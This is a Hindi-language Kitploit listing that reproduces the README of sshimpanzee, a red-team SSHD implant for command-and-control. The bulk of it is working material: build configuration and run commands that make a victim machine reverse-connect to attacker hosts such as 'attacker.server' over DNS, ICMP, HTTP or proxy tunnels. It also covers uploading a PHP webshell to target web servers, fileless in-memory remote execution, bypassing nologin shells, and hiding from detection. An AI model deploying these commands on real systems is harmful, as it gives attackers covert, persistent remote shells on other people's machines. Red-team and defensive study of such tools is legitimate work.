Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
sshimpanzee — SSHD आधारित इम्प्लांट जो C2 तक पहुँचने के लिए टनलिंग मैकेनिज्म का समर्थन करता है (DNS, ICMP, HTTP एनकैप्सुलेशन, HTTP/Socks प्रॉक्सी, UDP...) | Kitploit
उपकरण/GitHubGitHub/lexfo/sshimpanzee
पेलोड जनरेशनपोस्ट-शोषणनेटवर्क सुरक्षाकमांड एंड कंट्रोलरेड टीमिंगरिमोट एक्सेस टूलDNS विश्लेषण
GitHublexfo/sshimpanzee

sshimpanzee

SSHD आधारित इम्प्लांट जो C2 तक पहुँचने के लिए टनलिंग मैकेनिज्म का समर्थन करता है (DNS, ICMP, HTTP एनकैप्सुलेशन, HTTP/Socks प्रॉक्सी, UDP...)

रिपॉजिटरी देखें
2932981 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
वेबसाइट
साझा करें

Sshimpanzee

Sshimpanzee आपको एक स्थिर रिवर्स ssh सर्वर बनाने की अनुमति देता है। पोर्ट पर सुनने और कनेक्शन की प्रतीक्षा करने के बजाय, ssh सर्वर हमलावर के आईपी पर रिवर्स कनेक्ट शुरू करेगा, ठीक एक सामान्य रिवर्स शेल की तरह। Sshimpanzee आपको एक सामान्य ssh कनेक्शन की हर सुविधा का लाभ उठाने की अनुमति देता है, जैसे पोर्ट फ़ॉरवर्ड, डायनेमिक SOCKS प्रॉक्सी, या FTP सर्वर।

इससे भी महत्वपूर्ण बात यह है कि यदि पीड़ित मशीन से हमलावर सर्वर तक सीधा कनेक्शन संभव नहीं है, तो यह विभिन्न टनलिंग तंत्र प्रदान करता है, जैसे DNS टनलिंग, ICMP टनलिंग, या HTTP एनकैप्सुलेशन। यह HTTP और SOCKS5 प्रॉक्सी का भी समर्थन करता है। लेक्सफो के ब्लॉग पर एक तकनीकी पेपर उपलब्ध है।

डॉकर बिल्ड - अनुशंसित

root@kitploit:~
sudo docker build . --output . 
sudo docker build . --platform arm64 --output . 

आपको env var DOCKER_BUILDKIT=1 सक्षम करने की आवश्यकता हो सकती है

संकलन फ़ाइल

बिल्ड build.yaml फ़ाइल के आधार पर किया जाता है:

root@kitploit:~

###
# यह sshimpanzee बिल्ड कॉन्फ़िगरेशन फ़ाइल है
# YAML का उपयोग यह वर्णन करने के लिए किया जाता है कि sshimpanzee को क्या व्यवहार और सुविधा मिलनी चाहिए
###

### सामान्य कॉन्फ़िग

process_name: "sshimpanzee" # प्रक्रिया का नाम जैसा कि ps में दिखाई देता है (फिर भी आप इस नाम से इसे मार नहीं पाएंगे)


banner: True # क्या बैनर लॉग में प्रदर्शित होना चाहिए
verbose: 3 # build/build.log में लिखे अनुसार वर्बोसिटी स्तर

shell: "/bin/sh" # उपयोगकर्ता के लिए डिफ़ॉल्ट शेल, /etc/passwd प्रविष्टियों को false या nologin शेल से बायपास करना
timer: 60*1000*1000  # मिलीसेकंड में समय, एक नए sshimpanzee चाइल्ड को फोर्क करने से पहले पिछले एक के बाहर निकलने के बाद। उदाहरण के लिए sock MODE में, पिछले sshd कनेक्शन के मरने के 1 मिनट बाद एक नया कनेक्शन बनाया जाएगा

keygen: True # बिल्ड के दौरान कुंजियाँ पुन: उत्पन्न करें, सुनिश्चित करें कि नई HOST और CLIENT कुंजियाँ उपयोग की गई हैं
public_key: #यदि नई कुंजियाँ पुन: उत्पन्न नहीं की गई हैं तो प्रमाणित करने के लिए एक सार्वजनिक क्लाइंट कुंजी निर्दिष्ट करना संभव है (केवल ed25519 कुंजियाँ समर्थित हैं)
#public key: "ssh-ed25519 .... ROGUE@ROGUE"

make: True # इसे true रखें यदि आप चाहते हैं कि बिल्डर स्क्रिप्ट sshd बाइनरी उत्पन्न करे
force_clean_build: True # वर्तमान में डॉकर बिल्ड के लिए आवश्यक, बिल्डर स्क्रिप्ट को टनल और निर्भरताओं को फिर से संकलित करने के लिए मजबूर करेगा
reconf: True # डॉकर बिल्ड के लिए आवश्यक


### वातावरण
# sshimpanzee को रनटाइम पर पर्यावरण चर के माध्यम से कॉन्फ़िगर किया गया है, फिर भी, डिफ़ॉल्ट व्यवहार प्राप्त करने के लिए पर्यावरण चर को पूर्व निर्धारित करना संभव है


env:
  if_not_set : # यहाँ के चर सेट किए जाएंगे यदि वे पहले से मौजूद नहीं हैं
    REMOTE: 127.0.0.1
    PORT: 8080
    MODE: sock # MODE पर्यावरण चर का उपयोग डिफ़ॉल्ट टनल प्रबंधित करने के लिए किया जाता है
  overwrite: # यहाँ के चर पहले से मौजूद चरों को ओवरराइट करेंगे
    

### टनल
# sshimpanzee विभिन्न टनलिंग तंत्रों के साथ आता है
# संकलन समय को गति देने के लिए, और अधिक महत्वपूर्ण रूप से हल्का बाइनरी प्राप्त करने के लिए, कुछ टनलों को शामिल या बहिष्कृत करना संभव है
# टनल संकलन पैरामीटर यहाँ निर्दिष्ट किए जा सकते हैं 
tun:
  sock:
      enabled: True

  icmp:
      enabled: True
      buildserv: True # क्या संबंधित ICMPTunnel सर्वर बनाया जाना चाहिए 
      raw_sock: False # पुराने कर्नेल के लिए रॉ सॉक के समर्थन के साथ बनाएं

  http_enc :
      enabled: True
      key: # वेब शेल कुंजी, खाली होने पर एक नई कुंजी उत्पन्न होगी
      target:
        - "php" # भाषाओं की सूची जिसके लिए आप वेबशेल उत्पन्न करना चाहते हैं 
      path_fd: "/dev/shm/sshim" # फ़िफ़ो जिसका उपयोग sshimpanzee वेबशेल के साथ संवाद करने के लिए करेगा

  dns:
      enabled: True    
      resource: sshimpanzee # DNS2TCP संसाधन
      key: sshimpanzee # DNS2TCP कुंजी
      obfuscate: True # DNS2TCP मैजिक स्ट्रिंग को अस्पष्ट करना, यह संबंधित सर्वर के निर्माण को मजबूर करेगा
      buildserv: False 
      qtype: TXT # DNS2TCP द्वारा उपयोग किए जाने वाले क्वेरी का प्रकार

  proxysock:
      enabled: True

  no_build:
      enabled: False 
      path: []

# Openssh सबसिस्टम
# man sshd_config Subsystems

subsystems:

  internal_sftp: # openssh द्वारा प्रदान किया गया मानक sftp 
    enabled: True # scp और sftp के लिए आवश्यक है
    name: sftp
    exec: internal-sftp
    is_internal: True
    
  remote_exec: # Sshimpanzee कस्टम सबसिस्टम
    enabled: True # फ़ाइललेस memfd तकनीक का उपयोग करके दूरस्थ निष्पादन
    name: remote-exec
    exec: internal-remote-exec
    is_internal: True

  python: # एक मानक ssh सबसिस्टम का उदाहरण
    enabled: False
    name: python
    exec: /usr/bin/python -c "print('python code')"
    is_internal: False

उपयोग

रनटाइम पर, sshimpanzee बाइनरी पर्यावरण चर के माध्यम से कॉन्फ़िगर किया जाता है। MODE चर उपयोगकर्ता को संकलित टनलों के बीच चयन करने की अनुमति देता है। प्रत्येक टनल को पर्यावरण चर के माध्यम से कॉन्फ़िगर किया जा सकता है। उदाहरण के लिए, 127.0.0.1:8080 पर एक क्लासिक रिवर्स कनेक्ट प्राप्त करने के लिए निम्नलिखित का उपयोग करें:

root@kitploit:~
MODE=socks REMOTE=127.0.0.1 PORT=8080 ./sshimpanzee

-d के साथ debug मोड में sshimpanzee चलाना संभव है। Debug मोड में sshimpanzee अग्रभूमि में रहेगा।

टनल

वर्तमान में sshimpanzee इम्प्लांट के लिए हमलावर ssh क्लाइंट तक पहुँचने के कई तरीकों का समर्थन करता है:

  • dns2tcp प्रोटोकॉल का उपयोग करके DNS टनलिंग
  • प्रॉक्सी : HTTP/SOCKS4/SOCKS5
  • सॉकेट : (यदि आप अपनी खुद की टनल लागू करना चाहते हैं तो उपयोगी हो सकता है)
  • ICMP टनल
  • HTTP एनकैप्सुलेशन

सॉक कनेक्शन

  1. क्लाइंट साइड पर ssh को इस प्रकार चलाएँ:
root@kitploit:~
ssh [email protected] -oProxyCommand="nc -lp 8080" -i CLIENT
  1. लक्ष्य पर sshimpanzee चलाएँ :
root@kitploit:~
MODE=sock REMOTE=127.0.0.1 PORT=8080 ./sshimpanzee 

अन्य उदाहरण :

root@kitploit:~
MODE=sock REMOTE=127.0.0.1 PORT=8080 SSHIM_LISTEN= ./sshimpanzee  # 127.0.0.1:8080 पर बाइंड और सुनें

MODE=sock UNIXPATH=/tmp/sock SSHIM_UNIX ./sshimpanzee # यूनिक्स सॉकेट /tmp/sock से कनेक्ट करें
MODE=sock UNIXPATH=/tmp/sock SSHIM_UNIX= SSHIM_LISTEN= ./sshimpanzee # /tmp/sock यूनिक्स सॉकेट पर बाइंड और सुनें 

प्रॉक्सी के माध्यम से कनेक्शन

  1. क्लाइंट साइड पर ssh को इस प्रकार चलाएँ:
root@kitploit:~
ssh [email protected] -oProxyCommand="nc -lp 4444" -i CLIENT
  1. लक्ष्य पर sshimpanzee चलाएँ :
root@kitploit:~
MODE=proxysock REMOTE=attacker.server PORT=4444 http_proxy=socks5://proxy.lan:8080 ./sshimpanzee

अन्य उदाहरण:

root@kitploit:~
MODE=proxysock REMOTE=attacker.server PORT=4444 http_proxy=http://proxy.lan:8080 ./sshimpanzee
MODE=proxysock REMOTE=attacker.server PROXY_USER=user PROXY_PASS=password PORT=4444 http_proxy=http://proxy.lan:8080 ./sshimpanzee

DNS टनलिंग का उपयोग करें

  1. अपने सर्वर पर इस रिपॉजिटरी में कॉन्फ़िग फ़ाइल का उपयोग करके मानक dns2tcpd चलाएँ, आपको डोमेन (और संसाधन पोर्ट यदि चाहें) को संशोधित करना होगा।
root@kitploit:~
listen = 0.0.0.0
port = 53
user = nobody
key = sshimpanzee
chroot = /var/empty/dns2tcp/
domain = <SERVER>
resources = sshimpanzee:127.0.0.1:8080
root@kitploit:~
sudo ./dns2tcpd -F -f dns2tcpdrc
  1. क्लाइंट साइड पर ssh को इस प्रकार चलाएँ:
root@kitploit:~
ssh [email protected] -oProxyCommand="nc -lp 8080" -i CLIENT
  1. sshimpanzee बाइनरी चलाएँ:
root@kitploit:~
MODE=dns REMOTE=attacker.controled.domain ./sshimpanzee

अन्य उदाहरण :

root@kitploit:~
MODE=dns REMOTE=attacker.controled.domain RESOLVER=8.8.8.8 ./sshimpanzee # 8.8.8.8 DNS रिज़ॉल्वर का उपयोग करने के लिए बाध्य करें

ICMP टनलिंग का उपयोग करें

  1. अपने सर्वर पर, proxycommand को रूट के रूप में चलाने से बचने और सिस्टम से पिंग प्रतिक्रिया अक्षम करने के लिए सही क्षमताएँ जोड़ें
root@kitploit:~
sudo setcap cap_net_raw+ep icmptunnel
echo 1 | sudo dd of=/proc/sys/net/ipv4/icmp_echo_ignore_all 
  1. icmptunnel को proxycommand के रूप में उपयोग करके मानक ssh क्लाइंट चलाएँ:
root@kitploit:~
ssh i -oProxyCommand=./icmptunnel -i test/CLIENT 
  1. sshimpanzee बाइनरी चलाएँ:
root@kitploit:~
MODE=icmp REMOTE=127.0.0.1 ./sshimpanzee 

HTTP एनकैप्सुलेशन (ssh -> http server -> sshd) का उपयोग करें

  1. फ़ाइल /tuns/http_enc/proxy.php और sshd फ़ाइलों को अपने लक्ष्य वेब सर्वर पर अपलोड करें

  2. सुनिश्चित करें कि proxy.php सही ढंग से निष्पादित हो

  3. वेबसर्वर पर sshd बाइनरी चलाएँ

root@kitploit:~
MODE=http_enc ./sshimpanzee 
  1. क्लाइंट मशीन पर proxy कमांड के रूप में utils/scripts/ में python स्क्रिप्ट के साथ ssh चलाएँ :
root@kitploit:~
ssh -o ProxyCommand='python proxy_cli.py http://127.0.0.1:8080/proxy.php EncryptionKey 2>/dev/null' a@a -i ../../keys/CLIENT 

proxy_cli.py को प्रॉक्सी जोड़ने के लिए कई तर्क दिए जा सकते हैं। वर्तमान में केवल PHP समर्थित है। JSP सर्वर पर, अनुशंसित: A Black Path Toward The Sun (ABPTTS)

HTTP एनकैप्सुलेशन के बारे में साइड नोट्स

  1. Proxy.php एक न्यूनतम वेबशेल है, आप इसका उपयोग sshd को सर्वर पर अपलोड करने और कमांड चलाने के लिए कर सकते हैं। proxy_cli.py ऐसा करने के लिए --run और --drop विकल्प प्रदान करता है।

  2. आप एक बड़ा इनपुट अंतराल अनुभव कर सकते हैं, ऐसा इसलिए है क्योंकि ssh क्लाइंट द्वारा भेजे गए पैकेट में 1 से 5 सेकंड की देरी जोड़ी जाती है ताकि बहुत सारे HTTP अनुरोध उत्पन्न न हों। यदि आपको बहुत सारे HTTP अनुरोध (और इस प्रकार वेब सर्वर पर बहुत सारे लॉग) उत्पन्न करने में कोई आपत्ति नहीं है, तो proxy_cli.py कमांड में --no-buffer विकल्प जोड़ें।

sshimpanzee क्लाइंट का उपयोग करना

यह रिपॉजिटरी utils/client/bin में स्थित एक क्लाइंट भी प्रदान करता है। बस utils/client/keys/ में CLIENT कुंजी कॉपी करें।

root@kitploit:~
sshimpanzee --new PORT #पोर्ट पर एक नया लिसनर बनाएँ
sshimpanzee --new-dns #एक नया DNS लिसनर बनाएँ (utils/client/config/dnsconf.txt को संशोधित करना न भूलें)
sshimpanzee --new-icmp #एक नया ICMP लिसनर बनाएँ
sshimpanzee --new-http PROXY_PHP_URL #एक नया HTTP सत्र बनाएँ 

sshimpanzee --list #उपलब्ध सत्रों की सूची बनाएँ

sshimpanzee --get SESSION_NUMBER #एक सत्र में जाने के लिए, अतिरिक्त पैरामीटर ssh पैरामीटर के रूप में पास किए जाते हैं
sshimpanzee --rename SESSION_NUMBER #एक सत्र का नाम बदलने के लिए
sshimpanzee --kill SESSION_NUMBER #एक सत्र को मारने के लिए
sshimpanzee #यह चुनने के लिए fzf का उपयोग करें कि आप कौन सा सत्र चाहते हैं

हालांकि यह सीधे ssh का उपयोग करने की तुलना में कम विश्वसनीय हो सकता है।

अपना खुद का टनल तंत्र बनाएँ

सभी टनल tuns/ निर्देशिका में उपलब्ध हैं। यदि आप एक और टनल जोड़ना चाहते हैं, तो बस tuns/builder.py में अपने टनल के नाम के साथ एक फ़ंक्शन जोड़ें। यह फ़ंक्शन एक libtun.a आर्काइव उत्पन्न करने के लिए जिम्मेदार है जिसमें आवश्यकतानुसार कई .o शामिल हों, उनमें से एक tun() प्रतीक निर्यात करता है। वैकल्पिक रूप से, आप स्वयं libtun.a बनाएँ और no_build नामक टनल का उपयोग करें, और अपने कस्टम libtun.a का पथ प्रदान करें

फ़ाइल रहित निष्पादन का उपयोग करें

यदि sshimpanzee को remote-exec सबसिस्टम मॉड्यूल के साथ बनाया गया है, तो पूरी तरह से मेमोरी में दूरस्थ रूप से कोड निष्पादित करना संभव है।

root@kitploit:~

python remote_loader.py "ssh -vvvv t@t -S ./SOCKET -s remote-exec" /home/titouan/tools/Misc/RustScan/target/release/rustscan -a 127.0.0.1

भविष्य का कार्य

  • अन्य टनल जोड़ें :
    • HTTP एनकैप्सुलेशन (http_enc और proxy.php के माध्यम से पहला कदम : JSP और अन्य प्रोग्राम जोड़ें)
    • रॉ सॉक के साथ उपयोगकर्ता-स्तर TCP/IP स्टैक ?
    • ICMP : नेटवर्क विश्लेषण के मामले में पहचान से बचने के लिए स्ट्रिंग को Xor/एनक्रिप्ट करें
    • पोस्ट-एक्सप्लॉइटेशन के लिए सबसिस्टम:
      • Procdump
      • TCP स्कैन

धन्यवाद

यह रिपॉजिटरी कई अलग-अलग परियोजनाओं पर निर्भर करती है।

  • सबसे पहले, Openssh-portable (9.1) : https://github.com/openssh/openssh-portable
  • इसे स्थिर रूप से बनाने के लिए musl libc : https://wiki.musl-libc.org/

टनल के लिए:

  • Dns2tcp : https://github.com/alex-sector/dns2tcp
  • icmptunnel (टनल लचीलापन बढ़ाने के लिए भारी संशोधित) : https://github.com/DhavalKapil/icmptunnel.git
  • Proxysocket : https://github.com/brechtsanders/proxysocket

यह ध्यान रखना महत्वपूर्ण है कि यह नहीं एक बहुत ही मूल परियोजना है, ssh प्रोटोकॉल को हथियार बनाना कई साल पहले किया जा चुका है:

  • https://github.com/Marc-andreLabonte/blackbear
  • https://github.com/Fahrj/reverse-ssh
  • https://github.com/NHAS/reverse_ssh
टूल डाउनलोड करें